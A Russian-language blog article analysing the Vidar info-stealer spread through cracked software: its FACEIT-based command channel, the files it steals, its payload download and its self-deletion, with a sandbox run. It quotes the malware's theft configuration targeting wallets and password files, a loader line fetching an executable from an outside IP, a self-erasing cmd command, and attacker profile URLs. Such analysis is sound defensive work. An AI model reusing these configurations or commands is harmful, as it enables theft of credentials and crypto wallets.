Пиратский софт и его последствия: анализ самого старого и простого вирусного плацдарма в интернете. Часть 2
Приветствую, эта статья является логическим продолжением анализа самого старого вирусного плацдарма в интернете. В предыдущей публикации мы с вами рассмотрели в деталях одну из последних обнаруженных угроз — Raccoon Stealer. Но для подробного анализа его собрата, стиллера Vidar, банально не хватило места, поэтому он будет описан в этой статье.
Не так давно французская компания, специализирующаяся на кибербезопасности, сообщила о том, что с начала 2020 года с помощью целой сети из поддельных сайтов и фейковых доменов распространялись два вредоноса — Raccoon и Vidar.
Все эти атаки были нацелены на недальновидных пользователей, пользующихся крякнутыми приложениями. В прошлой статье было проведено небольшое исследование, в ходе которого выяснилось, что 9 из 10 пиратских приложений содержат в себе вирус. В некоторых случаях деструктивный потенциал этих вредоносов определялся как критический, и после установки заветного кряка ваше устройство мало того, что передавало бы конфиденциальные данные злоумышленнику, так ещё и могло выйти из строя.
Примечательно также, что преступники использовали для распространения вредоносов популярные поисковики, а также прием SEO poisoning, то есть отравление поисковой выдачи.
SEO poisoning (отравление поисковой выдачи) — это добавление на скомпрометированные сайты слов, способствующих подъему этих сайтов в поисковой выдаче Google. Благодаря этому вредоносные сайты могут посетить больше потенциальных жертв. Например, при запросе «скачать Sony Vegas crack» с большой вероятностью первые пять результатов будут содержать вредоносное ПО.
Пути заражения: отличия Vidar от Raccoon Stealer
В отличие от Енота, Vidar никогда не продавался на закрытых форумах и телеграм‑каналах, этот вирус доступен лишь ограниченному кругу лиц, занимающихся его распространением. Также Raccoon был ориентирован в основном на русскоязычный сегмент, Видар же ни в чем не ограничивается, способен действовать по всему миру. Пример тому — попытка его распространения в Северной и Южной Корее через обычную почтовую рассылку, где злоумышленник выдавал себя за торговую комиссию.
Содержимое электронного письма побуждает жертв открыть вложенный файл, замаскированный под официальное письмо с запросом. Если жертва запустит файл из вложения, имитирующий значок файла документа, произойдет заражение стиллером Vidar.
В последнее время стиллер активно использует маскировку под «активаторы» для операционной системы Windows. Так уж заведено, что не все хотят покупать достаточно дорогую лицензию, поэтому достаточно большое количество пользователей прибегают к использованию нелегальных программ, дающий доступ ко всем функциям ОС бесплатно.
Как и Енотик, этот вредонос не распространяется с помощью критических уязвимостей или вирусных загрузчиков, типа TrueBot, поэтому, чтобы не стать очередной жертвой — достаточно лишь не посещать сомнительные сайты и не скачивать подозрительные вложения с электронных писем себе на устройство.
Краткий статистический анализ вредоноса
Зловред написан на C++, начал свою деятельность в начале октября 2018 года, ему свойственны все классические черты стилеров:
Поиск определенных файлов
Кража ID из куки браузеров
Кража истории браузера (также из браузера tor )
Кража криптокошельков
Кража данных из программного обеспечения 2FA
Захват сообщений из мессенджеров
Скриншоты
Настройки загрузчика
Уведомления Telegram (на стороне сервера)
Получение полного снимка всей информации о компьютере‑жертве
Итак, для статистического анализа будем использовать следующий набор утилит, все они являются бесплатными и находятся в открытом доступе:
DIE — Detect it Easy: многофункциональный инструмент, имеющий просто огромный арсенал. Позволит нам опередить тип компилятора вредоноса, язык, библиотеки и таблицы импорта/экспорта с последующим дизассемблированием.
Hidra — как и прошлая утилита, уже светилась в моей статье. Прекрасный и многофункциональный инструмент для реверс‑инжиниринга.
IDA PRO — также инструмент для реверс‑инжиниринга. Изначально рассматривался как дополнительный инструмент, но в этой статье, как и в прошлой, его роль была почти что основной.
Reko — декомпилятор, также знаком нам с прошлых статей.
Что ж, приступим. Заполучив образец вредоноса, нашему взору открывается следующая картина:
Достаточно странная иконка, отдаленно напоминающая блокнот.
Размер вредоносного файла составляет 193 КБ, что на порядок больше, чем у Raccoon.
Указана какая‑то версия — 27.0.0.0, и на этом информация закончилась.
Воспользуемся DIE для получения более подробной информации.
И информация здесь просто идентична той, которую мы видели при анализе Енота, настолько, что указанное время компиляции такое же. (Это наталкивает меня на мысль, что автор/авторы Енота и Видара или сотрудничают, или являются одними и теми же людьми). Помимо этого, образец представляет собой PE файл, а для компиляции был использован Microsoft Visual C/C++(2008–2010). Написано сие чудо на C/C++.
Исключительно ради интереса, образец был выгружен на VirusTotal, и результаты сканирования меня повергли в шок, ведь большинство популярных антивирусных приложений игнорируют очевидную и никак не замаскированную угрозу. Процент обнаружения составил 20 из 56. Приложения Avast, ESET NOD32, Kaspersky и Yandex — никак не отреагировали.
Что ж, перейдем к более глубокому анализу, Гидра отказалась работать с PE файлами. Не к удивлению, а в очередной раз. Поэтому тут нас выручит IDA PRO, с помощью которого мы сможем детально рассмотреть зловреда. Приступим.
После инициации на устройстве жертвы вредоносное ПО производит следующие действия.
Импорт библиотек.
Проверка или создание мьютекса.
Деобфускация значений и проверка связи с командным сервером.
Загрузка дополнительных легальных DLL файлов.
Запрос конфигурационных данных с C&C сервера.
Непосредственно кража данных.
Установка дополнительного вредоносного ПО.
Самоуничтожение. ( Да, он не активен все время, а действует по методике “своровал и ушел, называется нашел”).
1. Импорт библиотек
Первым и разительным отличием от Raccoon является уменьшенная таблица импортов. Вредонос внедряется исключительно в два системных DLL — Kernell32.dll и User32.dll.
Kernel32.dll — динамически подключаемая библиотека, являющаяся ядром всех версий ОС Microsoft Windows.
User32.dll — является частью подсистемы управления окнами и пользовательским интерфейсом.
Скажу лишь, что это никак не ограничивает его функционал. Задействуя лишь два системных dll, он способен собрать всю необходимую для работы информацию и полноценно функционировать.
Как и в случае с Енотиком, этот импорт никак не маскируется и представлен следующим фрагментом кода:
2. Проверка или создание мьютекса
Этот этап и действия полностью скопированы с кода Енота и ничем не отличаются. Банальный копипаст. Если кто-то не читал предыдущий анализ, то оставлю здесь разъяснения для термина “мьютекс”, чтобы не возникало никаких вопросов.
Мью́текс — примитив синхронизации, обеспечивающий взаимное исключение выполнения критических участков кода.
Говоря уж совсем простым языком — это простая проверка, запущен ли уже процесс вируса на данном устройстве или нет. Если мьютекс уже существует — процесс завершается, в противном случае вредоносная программа создает его и продолжает работу.
3. Деобфускация значений и проверка связи с командным сервером
Механизм очень похож на тот, который мы уже ранее видели, но с небольшими отличиями, о которых мы сейчас и поговорим.
Как и Raccoon, Vidar сперва декодирует строки, используемые для связи с C&C сервером. По сравнению с прошлым подопытным, здесь их намного меньше и нет никаких матерных выражений. Они аналогично представлены в виде шифровки RC4 и Base64. Связь с командным сервером никак не шифруется.
RC4 — это потоковый шифр, широко применяющийся в различных системах защиты информации в компьютерных сетях. Шифр разработан компанией RSA Security. Алгоритм RC4, как и любой потоковый шифр, строится на основе генератора псевдослучайных битов. Подробнее о тонкостях его работы и реализации можете узнать вот здесь.
Далее происходит процесс проверки соединения с командным сервером, как и в Раккуне, это происходит банальным путем пингования.
Самое интересное, что если расшифровать эти строки, то они будут идти к публичному игровому сервису FACEIT, а именно к его API.
FACEIT — киберспортивная платформа, основанная в Лондоне в 2011 году. Компания учреждала лиги для таких игр, как Counter-Strike: Global Offensive, League of Legends, Rocket League, Tom Clancy’s Rainbow Six Siege, Dota 2 и Team Fortress 2.
И метод использование API интерфейса FACEIT имеет множество плюсов, ресурс faceit.com нельзя заблокировать, потому что это обычный сайт.
Согласно методу, используемому Раккуном, если командный сервер заблокирован или отключен — вредоносное ПО становится абсолютно бесполезным. Vidar к подобному неуязвим.
После расшифровки этой строки вирус производит подключение по адресу:
https://api.faceit.com/core/v1/nicknames/vlad25vladiSlave
Это страница, на которой размещен тот самый первичный конфиг вредоноса, то есть базовые инструкции. Они могут варьироваться в зависимости от предпочтений злоумышленника.
Имеют они следующий вид:
Также в этом списке имеется ссылка на скачивание дополнительных DLL файлов.
4. Загрузка дополнительных легальных DLL файлов
Чем дальше разбираю этот вредонос, тем больше утверждаюсь в мысли, что разработчики Vidar и Raccoon — это одни и те же люди. Подтверждение этому увидите далее.
После успешного выполнения предыдущего шага, вирус запускает процесс скачивания дополнительных легальных DLL файлов, которые будут использованы для реализации вредоносных функций. Их список практически никак не отличается от предыдущего испытуемого:
freebl3.dll
mozglue.dll
msvcp140.dll
nss3.dll
softokn3.dll
vcruntime140.dll
msvcp140.dll
Примечательно также то, что скачанные DLL файлы будут сохранены в отдельную папку, созданную вредоносом. Размещена она по следующему пути:
C:\ProgramData\local\dekddss\hyper\v\
Как можно заметить, здесь отсутствует файл sqlite3.dll, так как в стиллере не реализован метод кражи данных посредством SQL запросов.
Затем стиллер произведет запрос к C&C серверу для получения более детальной конфигурации работы, это реализовано все тем же запросом к странице API FACEIT.
На ней будет указано 12 значений, разделенных с помощью “*”:
1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
Эта страница может меняться в зависимости от предпочтений злоумышленника, но в большинстве случаев не модифицируется.
Если вы читали предыдущую статью, то можете догадаться, что следом пойдет процесс сбора информации о хосте жертвы, стиллер соберет следующие данные:
имя пользователя,
версия операционной системы,
часовой пояс и системное время в формате файла,
техническую информацию: название процессора, видеокарты и количество оперативной памяти,
установленные приложения и средства отображения (веб-камеры, мониторы и прочее).
Следующие фрагменты кода, отвечающие за этот шаг, удалось расшифровать:
5. Непосредственная кража данных
В отличие от своего собрата Раккуна, Видар не имеет возможности взаимодействовать с большинством браузеров. Из-за отсутствия реализации DLL файла sqlite3.dll, функционал этого стиллера заметно урезан. Поэтому единственное, что он может сделать, это своровать cookie-файлы из Firefox`а. Это будет реализовано посредством дополнительного файла mozglue3.dll и запроса к файлу logins.jscon. Воровство печенек очень ограничено, но если учесть, что количество активных пользователей Firefox в конце второго квартала 2022 года составило 198 млн человек в месяц, то проблемы в этом никакой нет.
Далее производится поиск файлов wallet.dat, напоминаю, что этот файл содержит в себе сид-фразу и прочую информацию о криптокошельке. Актуально лишь для пользователей приложений от криптокомпаний. Интересно также то, что вредонос способен производить поиск файлов с любым расширением.
Но кое-чем Видар все же примечателен, он способен сжимать отдельные папки в ZIP файл и отправлять их на командный сервер. Сделано это, скорее, для удобства. Представим себе следующую картину: злоумышленник успешно установил каким-то образом вредонос на устройство жертвы, и допустим, что это была атака на конкретную личность. Злодей заведомо знает, какие ему нужно похитить компрометирующие материалы: фото, видео и так далее. Естественно, жертва, как и большинство людей, хранит эти материалы в соответствующих папках. Чтобы не скачивать файлы по отдельности, гораздо быстрее будет сжать всю папку в ZIP-архив.
Название архива уникально для каждого устройства и состоит из MachineGUID.
Как и Раккун, этот вредонос может делать снимки экрана и отправлять их на командный сервер. На скрине ниже будет фрагмент кода, отвечающий за это действие:
Этот процесс является необязательным и инициируется злоумышленником. Условием выполнения этой функции является наличие в файле конфигурации следующей строки: `scrnsht_.
6. Установка дополнительного вредоносного ПО
Этот шаг является обязательным и выполняется всегда, отвечает за этот процесс следующая строка в конфигурационном файле:
ldr_1:http://93.184.220.29/9/U4N7B56F5K5A0L4L4T5/8465766547424604901.bin|%TEMP%\|exe
Выбор полезной нагрузки, загружаемой вредоносом, остается за злоумышленником, в анализируемом образце находился обычный Java кейлоггер Spybee, который находится в открытом доступе на платформе GitHub. Спорный выбор. Почему был выбран именно он — загадка.
Также в этой строке светится дополнительный сервер, который на данный момент недоступен, поэтому более глубоко проникнуть в инфраструктуру вредоноса пока что невозможно.
7. Самоуничтожение
Подобный шаг был недоступен Raccoоn’у, после запуска на устройстве жертвы он оставался там до талого. Видар же может незаметно проникнуть в систему, сделать все свои грязные дела и уйти незамеченным.
Удаление происходит очень примитивным образом и представляет собой запуск следующей строчки через CMD Windows:
“C:\Windows\System32\cmd.exe” /c taskkill /im [Filename] /f & erase [File path] & exit
Краткий динамический анализ вредоноса
Все тесты проводятся на виртуальной машине, ни в коем случае не повторяйте этого самостоятельно, тем более на основном устройстве.
Для динамического анализа у нас уже имеется следующий сетап утилит (все они находятся в открытом доступе):
ProcessHacker — простенько и со вкусом, понаблюдаем за тем, как вирус взаимодействует с другими .dll и системой.
TCPView — утилита, которая прослеживает исходящие TCP соединения.
Regshot — очень простое приложение с открытым исходным кодом, которое позволит просмотреть изменения в реестре после запуска вредоноса.
Делаем слепок реестра Windows, открываем все наши утилиты и внимательно следим за происходящим.
Сразу же после открытия вредоноса на виртуалке появляется второй процесс explorer.exe, в котором большая буква “i” заменяет маленькую “L”. Это излюбленный прием маскировки зловредов, стоит отметить, что неопытный пользователь вряд ли сможет отличить настоящий explorer от поддельного.
Сперва Видар обращается GET-запросом к следующему IP адресу: 104.17.63.50. Как и предполагалось, этот сервер принадлежит сервису FACEIT.com.
Далее вредоносный процесс устанавливает соединение с сервером 93.184.220.29, напоминаю, что именно этот сервер отвечал за выгрузку дополнительного вирусного ПО на машину жертвы.
Спустя секунд 30 процесс исчезает из поля зрения. Если бы на моей машине был установлен пакет Java, то произошел бы запуск кейлоггера SpyBee, а так как библиотеки нет, вторичного вредоноса тоже нет.
При сравнении слепков реестра можно отчетливо видеть, как Видар заметал следы, удаляя себя:
А ещё вредонос, помимо этого, ещё и удалил косынку. Зачем? За что? Загадка века.
Немного анализа профиля Faceit и его API
Итак, у нас имеется никнейм злоумышленника, этот аккаунт на данный момент активен. На нем не сыграно ни одной игры, и он просто висит как пустышка.
Именно этот аккаунт был зарегистрирован 15 декабря 2022 года в России, практически три месяца назад.
Ранее исследователи Cyble обнаружили ещё несколько таких профилей, использующихся в качестве C&C серверов.
Список профилей
https://api.faceit.com/core/v1/nicknames/yetveirrifcu
https:/ /api.faceit.com/core/v1/nicknames/tronhack
https://api.faceit.com/core/v1/nicknames/slowyen
https://api.faceit.com/core/v1/nicknames/sergeevih
https ://api.faceit.com/core/v1/nicknames/dendytest
https://api.faceit.com/core/v1/nicknames/xeronxik123
https://api.faceit.com/core/v1/nicknames/vyh62lapin
https://api.faceit.com/core/v1/nicknames/sslamlssa
https://api.faceit.com/core/v1/nicknames/ramilgame
Меняются они раз в несколько дней, поэтому отследить и прекратить их работу пока что невозможно.
Выводы
Итак, нам удалось подробно разобрать специфику работы вируса Vidar, который распространялся через пиратские сайты вместе с зловредом Raccoon Stealer.
Оба вредоноса очень похожи и явно вышли из-под пера одной команды или конкретного человека, так как имеют схожую концепцию действий.
Что действительно необычно, так это то, что Видар в качестве командного сервера использовал API интерфейс публичного игрового сервиса.
Примечательно, что вирус очень часто обновляется и не все антивирусные программы способны его обнаружить. Но так как Видар не распространяется через критические уязвимости или дропперы, достаточно лишь не скачивать те самые “кряки” из поисковика — и будет Вам счастье, дорогие читатели.
На этом у меня все. Бывайте.
Автор статьи @DeathDay
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— 15% на все тарифы VDS (кроме тарифа Прогрев) — HABRFIRSTVDS.